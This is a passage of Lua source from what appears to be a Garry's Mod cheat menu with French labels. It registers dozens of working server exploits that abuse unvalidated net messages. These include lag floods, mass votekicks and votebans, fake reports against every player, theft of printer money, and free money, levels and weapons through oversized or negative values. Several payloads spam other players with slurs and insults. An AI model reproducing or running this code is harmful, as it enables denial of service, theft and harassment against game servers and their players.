4653CHATPRINT("Exploit Trouvé : Lagger #11 [MG2.Request.GangRankings]")
4654addExploit( "33","Lagger #11", "", function()
4655surface.PlaySound("garrysmod/ui_click.wav")
4656if !timer.Exists( "lagger11" ) then
4657timer.Create("lagger11", 0, 0, function()
4658for i = 1, 1000 do
4659net.Start("MG2.Request.GangRankings",true)
4660net.SendToServer()
4661end
4662end)
4663NOTIFICATION("Starting Lagger")
4664else
4665timer.Remove("lagger11")
4666NOTIFICATION("Stopping Lagger")
4667end
4668end )
4669end
4670
4671status = ValidNetString("dLogsGetCommand")
4672if (status) then
4673CHATPRINT("Exploit Trouvé : Lagger #12 [dLogsGetCommand]")
4674addExploit( "34","Lagger #12", "", function()
4675surface.PlaySound("garrysmod/ui_click.wav")
4676NOTIFICATION("Starting Lagger")
4677for i=1,7000 do
4678net.Start("dLogsGetCommand",true)
4679net.WriteTable({ cmd = "+forward" , args = " " })
4680net.SendToServer()
4681end
4682end )
4683end
4684
4685status = ValidNetString("ats_send_toServer")
4686if (status) then
4687CHATPRINT("Exploit Trouvé : Lagger #13 [ats_send_toServer]")
4688addExploit( "35","Lagger #13", "", function()
4689surface.PlaySound("garrysmod/ui_click.wav")
4690NOTIFICATION("Starting Lagger")
4691for i=1,2000 do
4692net.Start("ats_send_toServer",true)
4693net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
4694net.SendToServer()
4695end
4696end )
4697end
4698
4699status = ValidNetString("shopguild_buyitem")
4700if (status) then
4701CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
4702addExploit( "36","Exploit De Guildes", "", function()
4703surface.PlaySound("garrysmod/ui_click.wav")
4704CHATPRINT("Guild level successfully upgraded")
4705local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
4706if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
4707net.Start("shopguild_buyitem")
4708net.WriteString("lvl")
4709net.WriteDouble(level)
4710net.WriteString("Guild Level "..level)
4711net.WriteEntity(LocalPlayer())
4712net.WriteUInt(2,4)
4713net.WriteDouble(0)
4714net.SendToServer()
4715level = level + 1
4716end )
4717end
4718
4719status = ValidNetString("VoteKickNO")
4720if (status) then
4721CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
4722addExploit( "37","Votekick", "kicking all", function()
4723surface.PlaySound("garrysmod/ui_click.wav")
4724for k,v in pairs(player.GetAll()) do
4725net.Start("VoteKickNO")
4726net.WriteFloat(v:EntIndex())
4727net.WriteFloat(6)
4728net.SendToServer()
4729net.Start("VoteKickNO")
4730net.WriteFloat(v:EntIndex())
4731net.WriteFloat(6)
4732net.SendToServer()
4733net.Start("VoteKickNO")
4734net.WriteFloat(v:EntIndex())
4735net.WriteFloat(6)
4736net.SendToServer()
4737net.Start("VoteKickNO")
4738net.WriteFloat(v:EntIndex())
4739net.WriteFloat(6)
4740net.SendToServer()
4741end
4742end )
4743end
4744
4745status = ValidNetString("VoteBanNO")
4746if (status) then
4747CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
4748addExploit( "38","Voteban", "bans all", function()
4749surface.PlaySound("garrysmod/ui_click.wav")
4750for k,v in pairs(player.GetAll()) do
4751net.Start("VoteBanNO")
4752net.WriteFloat(v:EntIndex())
4753net.WriteFloat(8)
4754net.SendToServer()
4755net.Start("VoteBanNO")
4756net.WriteFloat(v:EntIndex())
4757net.WriteFloat(8)
4758net.SendToServer()
4759net.Start("VoteBanNO")
4760net.WriteFloat(v:EntIndex())
4761net.WriteFloat(8)
4762net.SendToServer()
4763end
4764end )
4765end
4766
4767status = ValidNetString("NewReport")
4768if (status) then
4769CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
4770addExploit( "39","Report Modifié", "", function()
4771surface.PlaySound("garrysmod/ui_click.wav")
4772for k,v in pairs(player.GetAll()) do
4773net.Start("NewReport")
4774net.WriteType(ply)
4775net.WriteInt(8,5)
4776net.WriteString("hahaha")
4777net.SendToServer()
4778end
4779end )
4780end
4781
4782status = ValidNetString("Warn_CreateWarn")
4783if (status) then
4784CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
4785addExploit( "40","Warns Modifiés", "", function()
4786surface.PlaySound("garrysmod/ui_click.wav")
4787for k,v in pairs(player.GetAll()) do
4788net.Start("Warn_CreateWarn")
4789net.WriteEntity(ply)
4790net.WriteString("hahaha")
4791net.SendToServer()
4792end
4793end )
4794end
4795
4796status = ValidNetString("showDisguiseHUD")
4797if (status) then
4798CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
4799addExploit( "41","Déguisements #2", "", function()
4800surface.PlaySound("garrysmod/ui_click.wav")
4801CHATPRINT("Choisi Ton Déguisements")
4802PlayerCount = 0
4803for k, v in pairs(player.GetAll()) do
4804PlayerCount = PlayerCount + 1
4805end
4806local TeamNum
4807local disguise_Model_Preview_Default
4808local base = vgui.Create("DFrame")
4809base:SetSize(300,420)
4810base:Center()
4811base:SetTitle(" ")
4812base:ShowCloseButton(false)
4813base:MakePopup()
4814function base:Paint()
4815draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
4816draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
4817draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
4818draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
4819draw.SimpleText("Déguisements", "DisFontBold", base:GetWide()/4, -1)
4820end
4821local ExitButton = vgui.Create("DButton", base)
4822ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
4823ExitButton:SetText("Fermer")
4824ExitButton:SetSize(60,20)
4825ExitButton:SetFont("DermaDefaultBold")
4826ExitButton.Paint = function()
4827if ExitButton.Hovered then
4828if ExitButton:IsDown() then
4829ExitButton:SetTextColor(Color(200,200,200,200))
4830draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
4831else
4832ExitButton:SetTextColor(Color(255,255,255,255))
4833draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
4834end
4835else
4836ExitButton:SetTextColor(Color(20,20,20,200))
4837draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
4838end
4839end
4840function ExitButton.DoClick()
4841base:Remove()
4842net.Start("changeToPhysgun")
4843net.SendToServer()
4844end
4845local DTeamChoice = vgui.Create("DComboBox", base)
4846DTeamChoice:SetSize(150, 22)
4847DTeamChoice:SetPos(75, 50)
4848DTeamChoice:SetValue("Choisi L'Emplois")
4849for k, v in pairs(team.GetAllTeams()) do
4850if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
4851end
4852DTeamChoice.OnSelect = function(panel, index, value)
4853for k,_ in pairs(team.GetAllTeams()) do
4854if value == team.GetName(k) then
4855for _, v in pairs(player.GetAll())do
4856if v:Team() == k then
4857TeamNum = v:Team()
4858disguise_Model_Preview_Default = v:GetModel()
4859end
4860end
4861end
4862end
4863timer.Create("RefreshModel", 0.1, 0, function()
4864local icon = vgui.Create( "DModelPanel", base )
4865icon:SetSize(300, 260)
4866icon:SetPos(-5, 80)
4867icon:SetFOV(68)
4868icon:SetModel( disguise_Model_Preview_Default )
4869timer.Simple(0.1, function()
4870icon:Remove()
4871end)
4872end)
4873local DisguiseButton = vgui.Create("DButton", base)
4874DisguiseButton:SetPos(base:GetWide()/2.5, 360)
4875DisguiseButton:SetSize(60,20)
4876DisguiseButton:SetText("Accepter")
4877DisguiseButton:SetFont("DermaDefaultBold")
4878function DisguiseButton:Paint()
4879if DisguiseButton.Hovered then
4880if DisguiseButton:IsDown() then
4881DisguiseButton:SetTextColor(Color(200,200,200,200))
4882draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
4883else
4884DisguiseButton:SetTextColor(Color(255,255,255,255))
4885draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
4886end
4887else
4888DisguiseButton:SetTextColor(Color(20,20,20,200))
4889draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
4890end
4891end
4892function DisguiseButton:DoClick()
4893net.Start("SetPlayerModel")
4894if ChosenName == nil then
4895net.WriteString(LocalPlayer():Nick())
4896else
4897net.WriteString(ChosenName)
4898end
4899net.WriteUInt(TeamNum, 16)
4900net.SendToServer()
4901base:Close()
4902net.Start("changeToPhysgun")
4903net.SendToServer()
4904end
4905end
4906end
4907)
4908end
4909
4910status = ValidNetString("Chatbox_PlayerChat")
4911if (status) then
4912CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
4913addExploit( "42","Spam Chat", "", function()
4914surface.PlaySound("garrysmod/ui_click.wav")
4915NOTIFICATION("Starting")
4916timer.Create("willoxchatspam", 1, 0, function()
4917net.Start("Chatbox_PlayerChat")
4918net.WriteEntity(LocalPlayer())
4919net.WriteBit(1)
4920net.WriteString("FAGGOTS")
4921net.WriteBit(1)
4922net.SendToServer()
4923end )
4924end )
4925end
4926
4927status = ValidNetString("BuilderXToggleKill")
4928if (status) then
4929CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
4930addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
4931surface.PlaySound("garrysmod/ui_click.wav")
4932NOTIFICATION("Starting")
4933for k, v in pairs(player.GetAll()) do
4934net.Start("BuilderXToggleKill")
4935net.WriteEntity(ply)
4936net.SendToServer()
4937end
4938end )
4939end
4940
4941status = ValidNetString("reports.submit")
4942if (status) then
4943CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
4944addExploit( "44","Report Tout Le Monde", "", function()
4945surface.PlaySound("garrysmod/ui_click.wav")
4946NOTIFICATION("Starting")
4947for k,v in pairs(player.GetAll()) do
4948net.Start("reports.submit")
4949net.WriteEntity(v)
4950net.WriteInt(5, 8)
4951net.WriteString("SuckMyDick")
4952net.SendToServer()
4953end
4954end )
4955end
4956
4957status = ValidNetString("services_accept")
4958if (status) then
4959CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
4960addExploit( "45","Spam Services", "spam to all players", function()
4961surface.PlaySound("garrysmod/ui_click.wav")
4962NOTIFICATION("Starting")
4963timer.Create("serviceaccept", 0, 0, function()
4964for k,v in pairs(player.GetAll()) do
4965net.Start("services_accept")
4966net.WriteString("Nice security, retards xd")
4967net.WriteVector(Vector(v:GetPos()))
4968net.WriteString("test image")
4969net.WriteEntity(v)
4970net.SendToServer()
4971end
4972end )
4973timer.Simple(4, function()
4974timer.Destroy("serviceaccept")
4975end )
4976end )
4977end
4978
4979status = ValidNetString("lockpick_sound")
4980if (status) then
4981CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
4982addExploit( "46","LockPick Spam Son", "", function()
4983surface.PlaySound("garrysmod/ui_click.wav")
4984NOTIFICATION("Starting")
4985timer.Create( "spamlockpicksound", 3, 0, function()
4986for k, v in pairs( player.GetAll() ) do
4987net.Start("lockpick_sound")
4988net.WriteEntity(v)
4989net.SendToServer()
4990end
4991end )
4992timer.Simple(4, function()
4993timer.Destroy("spamlockpicksound")
4994end )
4995end )
4996end
4997
4998status = ValidNetString("customprinter_get")
4999if (status) then
5000CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
5001addExploit( "47","Voler L'Argents Des Printers", "", function()
5002surface.PlaySound("garrysmod/ui_click.wav")
5003NOTIFICATION("Starting")
5004for k, v in pairs(ents.GetAll()) do
5005if v:GetClass():find("print") then
5006net.Start("customprinter_get")
5007net.WriteEntity(v)
5008net.WriteString("g_money")
5009net.SendToServer()
5010end
5011end
5012end )
5013end
5014
5015status = ValidNetString("InformPlayer")
5016if (status) then
5017CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
5018addExploit( "48","SimpleGrab Inform", "", function()
5019surface.PlaySound("garrysmod/ui_click.wav")
5020NOTIFICATION("Starting")
5021for k,v in pairs(player.GetAll()) do
5022for i = 0, 100 do
5023net.Start("InformPlayer")
5024net.WriteEntity(v)
5025net.SendToServer()
5026end
5027end
5028end )
5029end
5030
5031status = ValidNetString("pogcp_report_submitReport")
5032if (status) then
5033CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
5034addExploit( "49","Report Tout Le Monde #2", "", function()
5035surface.PlaySound("garrysmod/ui_click.wav")
5036NOTIFICATION("Starting")
5037for i = 0, 100 do
5038for k,v in pairs(player.GetAll()) do
5039net.Start("pogcp_report_submitReport")
5040net.WriteString("lol")
5041net.WriteString("nice security retards")
5042net.WriteEntity(v)
5043net.SendToServer()
5044end
5045end
5046end )
5047end
5048
5049status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5050if (status) then
5051CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
5052addExploit( "50","Candidature De Dictateur Instant", "", function()
5053surface.PlaySound("garrysmod/ui_click.wav")
5054NOTIFICATION("Starting")
5055net.Start("1942_Fuhrer_SubmitCandidacy")
5056net.WriteString(LocalPlayer():Nick())
5057net.SendToServer()
5058end )
5059end
5060
5061status = ValidNetString("FacCreate")
5062if (status) then
5063CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
5064addExploit( "51","Fac Create", "old exploit", function()
5065surface.PlaySound("garrysmod/ui_click.wav")
5066NOTIFICATION("Starting")
5067timer.Create("fucklol", 1, 0, function()
5068net.Start("FacCreate")
5069net.WriteString("LOL " .. random_string(5))
5070net.WriteString("LOL " .. random_string(10))
5071net.WriteColor(random_color())
5072net.WriteBool(false)
5073net.WriteString(random_string(5))
5074net.SendToServer()
5075end )
5076end )
5077end
5078
5079status = ValidNetString("FactionInviteConsole")
5080if (status) then
5081CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
5082addExploit( "52","Faction Invite", "", function()
5083surface.PlaySound("garrysmod/ui_click.wav")
5084NOTIFICATION("Starting")
5085timer.Create("lovedarkexploitsxd", 1, 0, function()
5086for k, v in pairs(player.GetAll()) do
5087net.Start("FactionInviteConsole")
5088net.WriteEntity( ply )
5089net.WriteEntity(table.Random(player.GetAll()))
5090net.SendToServer()
5091end
5092end )
5093end )
5094end
5095
5096status = ValidNetString("WithdrewBMoney")
5097if (status) then
5098CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
5099addExploit( "53","Argent Gratuite #2", "an exploit in the addon 'business'", function()
5100surface.PlaySound("garrysmod/ui_click.wav")
5101NOTIFICATION("Starting")
5102net.Start("WithdrewBMoney")
5103net.WriteInt(50000,32)
5104net.SendToServer()
5105end )
5106end
5107
5108status = ValidNetString("deathrag_takeitem")
5109if (status) then
5110CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
5111addExploit( "54","Items Faciles", "collects money, weapons", function()
5112surface.PlaySound("garrysmod/ui_click.wav")
5113NOTIFICATION("Starting")
5114count = 0
5115for k, v in pairs( ents.GetAll() ) do
5116if v:GetClass() == "prop_ragdoll" then
5117count = count + 1
5118end
5119end
5120if count == 0 then
5121CHATPRINT("No items found")
5122else
5123CHATPRINT("Amount of items "..count)
5124end
5125for k, v in pairs( ents.GetAll() ) do
5126if v:GetClass() == "prop_ragdoll" then
5127for i=1,10 do
5128net.Start("deathrag_takeitem")
5129net.WriteEntity( v )
5130net.WriteInt(i,16)
5131net.SendToServer()
5132end
5133end
5134end
5135end )
5136end
5137
5138status = ValidNetString("REPPurchase")
5139if (status) then
5140CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
5141addExploit( "55","Heal & Armure", "armor and hp", function()
5142surface.PlaySound("garrysmod/ui_click.wav")
5143NOTIFICATION("Starting")
5144if LocalPlayer():Health() < 99 then
5145net.Start("REPPurchase")
5146net.WriteString("HEALTH")
5147net.SendToServer()
5148end
5149if LocalPlayer():Armor() < 99 then
5150net.Start("REPPurchase")
5151net.WriteString("ARMOR")
5152net.SendToServer()
5153end
5154end )
5155end
5156
5157status = ValidNetString("BTTTStartVotekick")
5158if (status) then
5159CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
5160addExploit( "56","Votekick #2", "kick all noobs", function()
5161surface.PlaySound("garrysmod/ui_click.wav")
5162NOTIFICATION("Starting")
5163for k,v in pairs(player.GetAll()) do
5164if v != LocalPlayer() then
5165net.Start("BTTTStartVotekick")
5166net.Start("_nonDBVMVote")
5167net.WriteEntity(v)
5168net.WriteString("")
5169net.WriteString("1")
5170net.SendToServer()
5171end
5172end
5173end )
5174end
5175
5176status = ValidNetString("Resupply")
5177if (status) then
5178CHATPRINT("Exploit Trouvé : Respawn Equipment [Resupply]")
5179addExploit( "57","Respawn Equipment", "", function()
5180surface.PlaySound("garrysmod/ui_click.wav")
5181NOTIFICATION("Starting")
5182net.Start("Resupply")
5183net.SendToServer()
5184end )
5185end
5186
5187status = ValidNetString("DarkRP_Defib_ForceSpawn")
5188if (status) then
5189CHATPRINT("Exploit Trouvé : Respawn [DarkRP_Defib_ForceSpawn]")
5190addExploit( "58","Respawn #2", "just respawn", function()
5191surface.PlaySound("garrysmod/ui_click.wav")
5192NOTIFICATION("Respawn")
5193net.Start("DarkRP_Defib_ForceSpawn")
5194net.SendToServer()
5195end )
5196end
5197
5198status = ValidNetString("FiremanLeave")
5199if (status) then
5200CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
5201addExploit( "59","Fireman Leave", "", function()
5202surface.PlaySound("garrysmod/ui_click.wav")
5203NOTIFICATION("Starting")
5204net.Start("FiremanLeave")
5205net.SendToServer()
5206end )
5207end
5208
5209status = ValidNetString("PoliceJoin")
5210if (status) then
5211CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
5212addExploit( "60","Join the Police 1", "joining the police", function()
5213surface.PlaySound("garrysmod/ui_click.wav")
5214NOTIFICATION("Starting")
5215net.Start("PoliceJoin")
5216net.SendToServer()
5217end )
5218end
5219
5220status = ValidNetString("CreateEntity")
5221if (status) then
5222CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
5223addExploit( "61","Create Entity", "", function()
5224surface.PlaySound("garrysmod/ui_click.wav")
5225NOTIFICATION("Starting")
5226for k,v in pairs(player.GetAll()) do
5227net.Start("CreateEntity")
5228net.WriteString("sent_arc_atm")
5229net.WriteFloat(100000000000000000000000000000000000000000000000000)
5230net.WriteEntity(v)
5231net.SendToServer()
5232end
5233end )
5234end
5235
5236status = ValidNetString("CREATE_REPORT")
5237if (status) then
5238CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
5239addExploit( "62","CREATE REPORT", "", function()
5240surface.PlaySound("garrysmod/ui_click.wav")
5241NOTIFICATION("Starting")
5242local tab = {
5243 REPORTER = v:Nick(),
5244 REPORTERID = v:SteamID(),
5245 FAGGOT = v:Nick(),
5246 FAGGOTID = v:SteamID(),
5247 INFO = "Dite Bonjour A YouTube :D",
5248 PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
5249 }
5250for k,v in pairs(player.GetAll()) do
5251net.Start("CREATE_REPORT")
5252net.WriteTable(tab)
5253net.SendToServer()
5254end
5255end )
5256end
5257
5258status = ValidNetString("Hopping_Test")
5259if (status) then
5260CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
5261addExploit( "62","Hopping Test", "", function()
5262surface.PlaySound("garrysmod/ui_click.wav")
5263NOTIFICATION("Starting")
5264for k,v in pairs(player.GetAll()) do
5265net.Start("Hopping_Test")
5266net.WriteEntity(v)
5267net.WriteString("69.696.696969.69")
5268net.SendToServer()
5269end
5270end )
5271end
5272
5273status = ValidNetString("CpForm_Answers")
5274if (status) then
5275CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
5276addExploit( "63","Join the Police 2", "joining the police #2", function()
5277surface.PlaySound("garrysmod/ui_click.wav")
5278NOTIFICATION("Starting")
5279net.Start("CpForm_Answers")
5280net.WriteEntity(LocalPlayer())
5281net.WriteTable({})
5282net.SendToServer()
5283end )
5284end
5285
5286status = ValidNetString("VehicleUnderglow")
5287if (status) then
5288CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
5289addExploit( "64","Vehicle Underglow", "", function()
5290surface.PlaySound("garrysmod/ui_click.wav")
5291NOTIFICATION("Starting")
5292net.Start("VehicleUnderglow")
5293net.SendToServer()
5294end )
5295end
5296
5297status = ValidNetString("OpenGates")
5298if (status) then
5299CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
5300addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
5301surface.PlaySound("garrysmod/ui_click.wav")
5302NOTIFICATION("Starting")
5303net.Start("OpenGates")
5304net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5305net.SendToServer()
5306end )
5307end
5308
5309status = ValidNetString("DemotePlayer")
5310if (status) then
5311CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
5312addExploit( "66","Demote All Players", "Demote all players", function()
5313surface.PlaySound("garrysmod/ui_click.wav")
5314NOTIFICATION("Starting")
5315for k, v in pairs(player.GetAll()) do
5316net.Start("DemotePlayer")
5317net.WriteString(v:SteamID())
5318net.SendToServer()
5319end
5320end )
5321end
5322
5323status = ValidNetString("SendMail")
5324if (status) then
5325CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
5326addExploit( "67","Envoyez Mail", "sending mail to all players", function()
5327surface.PlaySound("garrysmod/ui_click.wav")
5328NOTIFICATION("Starting")
5329for k,v in pairs(player.GetAll()) do
5330net.Start("SendMail")
5331net.WriteString("haha nice security retards")
5332net.WriteString(v:Nick())
5333net.SendToServer()
5334end
5335end )
5336end
5337
5338status = ValidNetString("REPAdminChangeLVL")
5339if (status) then
5340CHATPRINT("Exploit Trouvé : Admin Change Level [REPAdminChangeLVL]")
5341addExploit( "68","Admin Change Level", "free lvl", function()
5342surface.PlaySound("garrysmod/ui_click.wav")
5343NOTIFICATION("Starting")
5344for k,v in pairs(player.GetAll()) do
5345net.Start("REPAdminChangeLVL")
5346net.WriteEntity(v)
5347net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5348net.SendToServer()
5349end
5350end )
5351end
5352
5353status = ValidNetString("BuyUpgradesStuff")
5354if (status) then
5355CHATPRINT("Exploit Trouvé : Buy Upgrades [BuyUpgradesStuff]")
5356addExploit( "69","Buy Upgrades", "free upgrades", function()
5357surface.PlaySound("garrysmod/ui_click.wav")
5358NOTIFICATION("Starting")
5359net.Start("BuyUpgradesStuff")
5360net.WriteString("")
5361net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5362net.SendToServer()
5363end )
5364end
5365
5366status = ValidNetString("SquadGiveWeapon")
5367if (status) then
5368CHATPRINT("Exploit Trouvé : Give Weapons [SquadGiveWeapon]")
5369addExploit( "70","Give Weapons", "easy weapon", function()
5370surface.PlaySound("garrysmod/ui_click.wav")
5371inputFrameExists = true
5372inputFrame = vgui.Create( "DFrame" )
5373inputFrame:SetTitle("Choose a weapon!")
5374inputFrame:SetSize( 400, 75 )
5375inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5376inputFrame:SetDraggable(false)
5377inputFrame:ShowCloseButton(true)
5378inputFrame:MakePopup()
5379inputFrame.Paint = function( self, w, h )
5380draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5381end
5382local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5383TextEntry:SetSize( 380, 30 )
5384TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5385TextEntry:SetText( "ls_sniper" )
5386TextEntry.OnEnter = function( self )
5387surface.PlaySound("garrysmod/ui_click.wav")
5388NOTIFICATION("Giving Weapon")
5389net.Start("SquadGiveWeapon")
5390net.WriteString( self:GetValue() )
5391net.WriteEntity(LocalPlayer())
5392net.SendToServer()
5393inputFrame:SetVisible(false)
5394end
5395end )
5396end
5397
5398status = ValidNetString("SetTableTarget")
5399if (status) then
5400CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
5401addExploit( "71","Set Table Target", "", function()
5402surface.PlaySound("garrysmod/ui_click.wav")
5403NOTIFICATION("Starting")
5404net.Start("SetTableTarget")
5405net.WriteString("pername")
5406net.WriteString("perjob")
5407net.WriteInt(-10000000000000, 32)
5408net.WriteString("hitmansel")
5409net.WriteString("Anony.")
5410net.WriteString("")
5411net.WriteFloat(0)
5412net.WriteInt(-10000000000000, 32)
5413net.SendToServer()
5414end )
5415end
5416
5417status = ValidNetString("UpdateRPUModelSQL")
5418if (status) then
5419CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
5420addExploit( "72","Change character model", "", function()
5421surface.PlaySound("garrysmod/ui_click.wav")
5422NOTIFICATION("Starting")
5423net.Start("UpdateRPUModelSQL")
5424net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
5425net.SendToServer()
5426end )
5427end
5428
5429status = ValidNetString("disguise")
5430if (status) then
5431CHATPRINT("Exploit Trouvé : Disguise [disguise]")
5432addExploit( "73","Disguise", "allows you to disguise as any job", function()
5433surface.PlaySound("garrysmod/ui_click.wav")
5434inputFrameExists = true
5435inputFrame = vgui.Create( "DFrame" )
5436inputFrame:SetTitle("Enter the number of the job")
5437inputFrame:SetSize( 400, 75 )
5438inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5439inputFrame:SetDraggable(false)
5440inputFrame:ShowCloseButton(true)
5441inputFrame:MakePopup()
5442inputFrame.Paint = function( self, w, h )
5443draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5444end
5445local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5446TextEntry:SetSize( 380, 30 )
5447TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5448TextEntry:SetText( "5" )
5449TextEntry.OnEnter = function( self )
5450surface.PlaySound("garrysmod/ui_click.wav")
5451NOTIFICATION("Disguised")
5452net.Start("disguise")
5453net.WriteInt(tonumber(self:GetValue()), 32)
5454net.SendToServer()
5455inputFrame:SetVisible(false)
5456end
5457end )
5458end
5459
5460status = ValidNetString("gportal_rpname_change")
5461if (status) then
5462CHATPRINT("Exploit Trouvé : Your RP Name #1 [gportal_rpname_change]")
5463addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
5464surface.PlaySound("garrysmod/ui_click.wav")
5465inputFrameExists = true
5466inputFrame = vgui.Create( "DFrame" )
5467inputFrame:SetTitle("Enter your name")
5468inputFrame:SetSize( 400, 75 )
5469inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5470inputFrame:SetDraggable(false)
5471inputFrame:ShowCloseButton(true)
5472inputFrame:MakePopup()
5473inputFrame.Paint = function( self, w, h )
5474draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5475end
5476local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5477TextEntry:SetSize( 380, 30 )
5478TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5479TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5480TextEntry.OnEnter = function( self )
5481surface.PlaySound("garrysmod/ui_click.wav")
5482NOTIFICATION("Changed")
5483net.Start("gportal_rpname_change")
5484net.WriteString( (self:GetValue()), 32)
5485net.WriteString(" ")
5486net.SendToServer()
5487inputFrame:SetVisible(false)
5488end
5489end )
5490end
5491
5492status = ValidNetString("NewRPNameSQL")
5493if (status) then
5494CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
5495addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
5496surface.PlaySound("garrysmod/ui_click.wav")
5497inputFrameExists = true
5498inputFrame = vgui.Create( "DFrame" )
5499inputFrame:SetTitle("Enter your name")
5500inputFrame:SetSize( 400, 75 )
5501inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5502inputFrame:SetDraggable(false)
5503inputFrame:ShowCloseButton(true)
5504inputFrame:MakePopup()
5505inputFrame.Paint = function( self, w, h )
5506draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5507end
5508local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5509TextEntry:SetSize( 380, 30 )
5510TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5511TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5512TextEntry.OnEnter = function( self )
5513surface.PlaySound("garrysmod/ui_click.wav")
5514NOTIFICATION("Changed")
5515net.Start("NewRPNameSQL")
5516net.WriteString( (self:GetValue()), 32)
